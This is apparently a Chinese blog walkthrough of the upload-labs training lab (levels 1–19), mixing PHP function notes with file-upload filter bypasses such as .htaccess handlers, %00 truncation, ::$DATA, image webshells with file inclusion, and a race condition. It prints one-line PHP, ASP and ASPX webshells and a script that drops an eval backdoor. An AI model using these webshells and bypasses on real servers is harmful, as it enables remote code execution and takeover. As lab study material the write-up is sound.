文件上传(第1-19关)

lastIndexOf() 方法可返回一个指定的字符串值最后出现的位置,在一个字符串中的指定位置从后向前搜索。
	stringObject.lastIndexOf(searchvalue,fromindex)
	searchvalue 	必需。规定需检索的字符串值。
	fromindex 	可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length - 1。如省略该参数,则将从字符串的最后一个字符处开始检索。
注释:lastIndexOf() 方法对大小写敏感!
注释:如果要检索的字符串值没有出现,则该方法返回 -1。

substring() 方法用于提取字符串中介于两个指定下标之间的字符。
	stringObject.substring(start,stop)
	start 	必需。一个非负的整数,规定要提取的子串的第一个字符在 stringObject 中的位置。
	stop 	可选。一个非负的整数,比要提取的子串的最后一个字符在 stringObject 中的位置多 1。
如果省略该参数,那么返回的子串会一直到字符串的结尾。

@表示后面即使执行错误,也不报错。
eval()函数表示括号内的语句字符串什么的全都当做代码执行。
$_POST['pass']表示从页面中获得pass这个参数值

php的一句话木马: <?php @eval($_POST['pass']);?>
asp的一句话是:   <%eval request ("pass")%>
aspx的一句话是:  <%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>

第1关

目的是上传php文件,注入后门
但是,不让上传php文件,所以考虑绕过(用burp拦截并修改后缀名)
在这里插入图片描述
首先创建一个php文件,将后缀名改成jpg,用burp抓包,并修改后缀名php
在这里插入图片描述
在这里插入图片描述
测试是否上传成功
在这里插入图片描述
上传成功
在这里插入图片描述

第2关

$_FILES这个变量用与上传的文件参数设置,是一个多维数组
数组的用法就是 $_FILES['key']['key2'];
$_FILES['upfile']是你表单上传的文件信息数组,upfile是文件上传字段,在上传时由服务器根据上传字段设定。

$_FILES['upfile']包含了以下内容:
$_FILES['upfile']['name'] 客户端文件的原名称。
$_FILES['upfile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"。
$_FILES['upfile']['size'] 已上传文件的大小,单位为字节。
$_FILES['upfile']['tmp_name'] 文件被上传后在服务端储存的临时文件名。
$_FILES['upfile']['error'] 和该文件上传相关的错误代码。

move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。
move_uploaded_file(file,newloc)
	参数	描述
	file	必需。规定要移动的文件。
	newloc	必需。规定文件的新位置。

在这里插入图片描述

第3关

黑名单绕过

在这里插入图片描述
那些后缀名都是黑名单,被拦截的
思路:可以尝试上传php2/php3/php4/php5/phtml绕过
其他的语言扩展名:
在这里插入图片描述
在这里插入图片描述
成功
在这里插入图片描述

第4关

.htaccess绕过

在apache里,这个文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。即是,可以通过设置可以将该目录下的所有文件作为php文件来解析

.htaccess可以写入apache配置信息,改变当前目录以及子目录的Apache配置信息

思路:上传.htaccess文件,文件内容:SetHandler application/x-httpd-php,这行配置表示将所有后缀名都解析为php;如果想要指定后缀名解析为php,文件内容:AddType application/x-httpd-php .jpg(上传该.htaccess文件后,上传的.jpg文件都会被当作.php文件解析)

前提条件

  1. 配置上允许.htaccess生效
  2. Apache开启rewrite模块
  3. apache配置文件为AllowOverride All(默认为None)

.htaccess中将下面的内容写进去

<FilesMatch "xxx">
	SetHandler application/x-httpd-php
</FilesMatch>

先上传这个文件,之后上传不是黑名单的后缀名就可以了,.htaccess会自动转换为php文件

第5关

这关将.htaccess加入黑名单了
在这里插入图片描述
在这里插入图片描述
我们可以看到没有循环,就是说只能处理一次
所以我们写".php. ."就可以了
在这里插入图片描述

第6关

可以参考第5关
这关少了转小写的防护
在window的时候如果文件名

第7关

发现空格限制没有了,可以利用这个进行绕过
在这里插入图片描述

第8关

发现点限制没有了,可以利用这个进行绕过
在这里插入图片描述

第9关

在window的时候如果文件名+":: D A T A " 会 把 : : DATA"会把:: DATA"::DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

这关没有::$DATA这个规则了
在这里插入图片描述

第10关

和第5关一样,用.php. .可以绕过
在这里就不写了

第11关

str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
str_ireplace(find,replace,string,count)

参数 	描述
find 	必需。规定要查找的值。
replace 	必需。规定替换 find 中的值的值。
string 	必需。规定被搜索的字符串。
count 	可选。一个变量,对替换数进行计数。

trim(string $str, string $character_mask = " \t\n\r\0\x0B"): string
	 参数
		str	待处理的字符串。
		character_mask	可选参数,过滤字符也可由 character_mask 参数指定。一般要列出所有希望过滤的字符,也可以使用 “..” 列出一个字符范围。

这关是如果查到黑名单,就会用空替换,用双写,从左往右检查,将后缀名改成.pphphp,就可以上传成功了
在这里插入图片描述

第12关

1. substr(string,start,length)
函数返回字符串的一部分。
	参数	描述
	string		必需。规定要返回其中一部分的字符串。
	start		必需。规定在字符串的何处开始。
				正数 - 在字符串的指定位置开始
				负数 - 在从字符串结尾开始的指定位置开始
				0 - 在字符串中的第一个字符处开始
	length	
				可选。规定被返回字符串的长度。默认是直到字符串的结尾。
				正数 - 从 start 参数所在的位置返回的长度
				负数 - 从字符串末端返回的长度

2. strrpos(string,find,start)
函数查找字符串在另一字符串中最后一次出现的位置。
	参数	描述
	string		必需。规定被搜索的字符串。
	find		必需。规定要查找的字符。
	start		可选。规定在何处开始搜索。

3. in_array(search,array,type) 
函数搜索数组中是否存在指定的值
	参数	描述
	search		必需。规定要在数组搜索的值。
	array		必需。规定要搜索的数组。
	type		可选。如果该参数设置为 TRUE,
	则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。

4. move_uploaded_file(file,newloc)
函数把上传的文件移动到新位置
	参数	描述
	file		必需。规定要移动的文件。
	newloc		必需。规定文件的新位置。

5. rand(int $min, int $max): int	产生一个随机整数
如果没有提供可选参数 min 和 max,rand() 返回 0 到 getrandmax() 之间的伪随机整数。
例如想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。

在某些平台下(例如 Windows)getrandmax() 只有 32767。如果需要的范围大于 32767,那么指定 min 和 max 参数就可以生成更大的数了,或者考虑用 mt_rand() 来替代之。

data	格式化本地时间/日期

在这里插入图片描述

制作图片马的方法
在这里插入图片描述
我们可以使用%00截断来实现绕过.

需要两个条件

php版本小于5.3.4
php的magic_quotes_gpc为OFF状态

在这里插入图片描述
在这里插入图片描述
环境配置完成

上传图片马

我们构造payload。
POST /upload-labs-master/Pass-12/index.php?save_path=…/upload/phpinfo.php%00
在这里插入图片描述
原理

当我们看到图片链接的时候相信大家已经或多或少明白了,payload构造的就是这个效果,为什么叫%00截断,因为上传后他的值会自动拼接上后面的 1.jpg 就变成了这样 phpinfo.php%001.jpg 当防护端检测的时候,发现后缀是1.jpg,于是就没有进行拦截,phpinfo.php后面的%001.jpg因为%00就都不生效,所以最后上传上去的就是phpinfo.php,为什么后面是7720210825092924.jpg而不是1.jpg是因为源代码有些随机文件名的规则。我们进行检测的时候直接访问这个地址,把php后面的都去掉:http://127.0.0.1/upload-labs-master/upload/phpinfo.php

参考博客:https://blog.csdn.net/dd_c1d/article/details/119894881
在这里插入图片描述

第13关

分析源码
在这里插入图片描述
这关报错的路径在post参数里 可以直接00截断绕过 ,唯一不同的是post中内容不会给你直接url编码,所以我们需要改一下hex,需要在二进制中进行修改,因为post不会像get对%00进行自动解码。
在这里插入图片描述
在这里插入图片描述

完成

第14关

这关规定要使用图片马,这是图片马的制作过程(注意不要换后缀名,否则后缀名的hex不一致)
在这里插入图片描述
在这里插入图片描述
识别不出来,根据提示“使用文件包含漏洞能运行图片马中的恶意代码”
在这里插入图片描述
在upload中新建一个php文件
在这里插入图片描述
代码

 <?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?> 

最后测试成功
在这里插入图片描述

第15关

image_type_to_extension — 根据指定的图像类型返回对应的后缀名。

getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,
失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息
	索引 0 给出的是图像宽度的像素值
	索引 1 给出的是图像高度的像素值
	索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
	索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的 <image> 标签
	索引 bits 给出的是图像的每种颜色的位数,二进制格式
	索引 channels 给出的是图像的通道值,RGB 图像默认是 3
	索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header("Content-type: image/jpeg");


stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
stripos(string,find,start)
参数		描述
string	必需。规定要搜索的字符串。
find	必需。规定要查找的字符。
start	可选。规定开始搜索的位置。

查看源码知道,没有变化很大的规则,还是检查后缀名,所以之前的图片马还是有效的

第16关

exif_imagetype() 读取一个图像的第一个字节并检查其签名。如果发现了恰当的签名则返回一个对应的常量,否则返回 FALSE。返回值和 getimagesize() 返回的数组中的索引 2 的值是一样的,但本函数快得多。
在这里插入图片描述
该函数的使用环境了:PHP 4 >= 4.3.0, PHP 5, PHP 7
开启,默认关闭
在这里插入图片描述
在php.ini中搜索extension=php_exif.dll,然后将前面的分号去掉
在这里插入图片描述
之前的图片马还是有效的

第17关

之前的图片马还是有效的

第18关

漏洞介绍
条件竞争漏洞是一种服务器端的漏洞,是由于开发者设计应用程序并发处理时操作逻辑不合理而造成。当应用面临高并发的请求时未能同步好所有请求,导致请求与请求之间产生等待时出现逻辑缺陷。该漏洞一般出现在与数据库系统频繁交互的位置,例如金额同步、支付等较敏感操作处。另外条件竞争漏洞也会出现在其他位置,例如文件的操作处理等。
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,典型的“引狼入室”。

条件竞争

经过一波审计,发现有unlink函数(网上搜的),此函数是删除文件的作用

这里先将文件保存在服务器中,再判断后缀名,若后缀名不合法则删除文件

通过条件竞争的方式在unlink之前,访问上传文件。

利用条件竞争删除文件时间差绕过。
在这里插入图片描述
创建一个test.php
代码

<?php
fputs (fopen("info.php","w"),'<?php eval($_POST[cmd]);?>')
?>

在这里插入图片描述

上传这个test.php文件,然后使用burp抓包
在这里插入图片描述
发送过来之后,直接全部清除
然后设置有些载荷
在这里插入图片描述
然后设置没有负载,无限期的重复
在这里插入图片描述
之后用蚁剑连接
在这里插入图片描述
参考博客
https://blog.csdn.net/qq_46527080/article/details/111701247

第19关

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

第一种方法

将php文件的后缀改成phpinfo.php.7z,直接上传

第二种方法

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

参考
https://blog.csdn.net/baidu_38294816/article/details/121024014

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值